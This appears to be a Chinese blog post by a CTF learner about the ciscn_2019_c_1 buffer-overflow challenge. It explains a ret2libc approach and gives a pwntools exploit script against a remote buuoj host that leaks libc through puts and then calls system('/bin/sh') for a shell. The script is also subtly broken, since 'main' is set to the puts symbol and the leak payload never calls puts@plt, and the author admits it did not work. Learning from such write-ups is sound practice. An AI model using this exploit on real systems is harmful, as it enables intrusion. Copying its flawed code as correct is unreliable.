对于近期的反思

1.近期有意思的题

其实对于buu上的题,如果是具有binsh和system的溢出类型题,除了c语言的难度和不熟悉,感觉都能解决了。

但是,一旦有需要plt和got表来泄露地址时,发现变得迷糊了,在此记录一道有意思64位的泄露题目

ciscn_2019_c_1

面对陌生的题目发现了类型后,我在网上搜到了ret2libc题型的解释和解析,感谢tPWN题型之Ret2Libc_swedsn-CSDN博客t文章目录前言0x1 :使用前提条件0x2 :为什么要这么使用0x3 :使用方法0x4 :实例二、使用步骤总结前言菜鸡总结,如有不对,请指点0x1 :使用前提条件查看保护:开启了NX保护,但是没有开启PLE保护,可以开启canary保护。但是这样就是两种题型结合了。打开IDA查看源代码:存在溢出条件,但是没有system函数(/bin/sh)和 flag字样。`0x2 :为什么要这么使用由于缺少system函数,所以需要构造shellcode。但是开启了NX保护(可执行的不可修改,可修改不可执https://blog.csdn.net/qq_51032807/article/details/114808339通过文章,感觉到了32位和64位在同一题型上的不同,对于32位来说文章的叙述感觉也能理解,但是64位感觉便有点不知所云,特别是在传参的顺序和寄存器上,但是背模板,想着能否复现出来。

 打开这回程序,除开main的流程后找到关键函数,encrypt(),打开变发现了危险函数get,

但是却没有关键函数system和binsh,这就是变到新题型了,要用到ret2libc类型,同时注意get的s还有一段循环,为了避免执行循环,要在payload最前面加入‘\0’,因为strlen函数遇到‘\0’就会停止,因为字符串的结构最后为\0,它在识别后便以为结束了,于此同时溢出填充也要减一来平衡。

好不容易因为gadget安装出现问题,安装好ropper可以找地址,但是libcsearcher装上了1.1.5却依旧无法找到版本恼火,这个版本参考了链接和诸多解决方法,也不行,看了下答案感觉也没什么问题。觉定暂时放一下。LibcSearcher找不到合适的libc(更新到python3版本Libc)_MDong1344的博客-CSDN博客

from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',25542)
#p=process('./abc')

elf=ELF('./abc')

rdi=0x400c83
ret=0x4006b9
 
p.sendline("1") 

main=elf.sym['puts']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

payload1=b'\0' + b'a'*(0x49+8-1) + p64(rdi) + p64(puts_got) + p64(main)
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload1)

puts=u64(p.recv(8))
libc=LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
sysadd=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')

p.sendline("1")
payload2=b'\0' + b'a'*(0x49+8-1) + p64(ret) + p64(rdi) + p64(binsh)+p64(sysadd)
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)


p.interactive()

 

2.近期都只在buu上做题,但是越往后做越是感觉力不从心,感觉只记住里网络上的答案模板,虽然解决的当前问题,却是相当模糊,决定抽出时间回头再打打基础。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值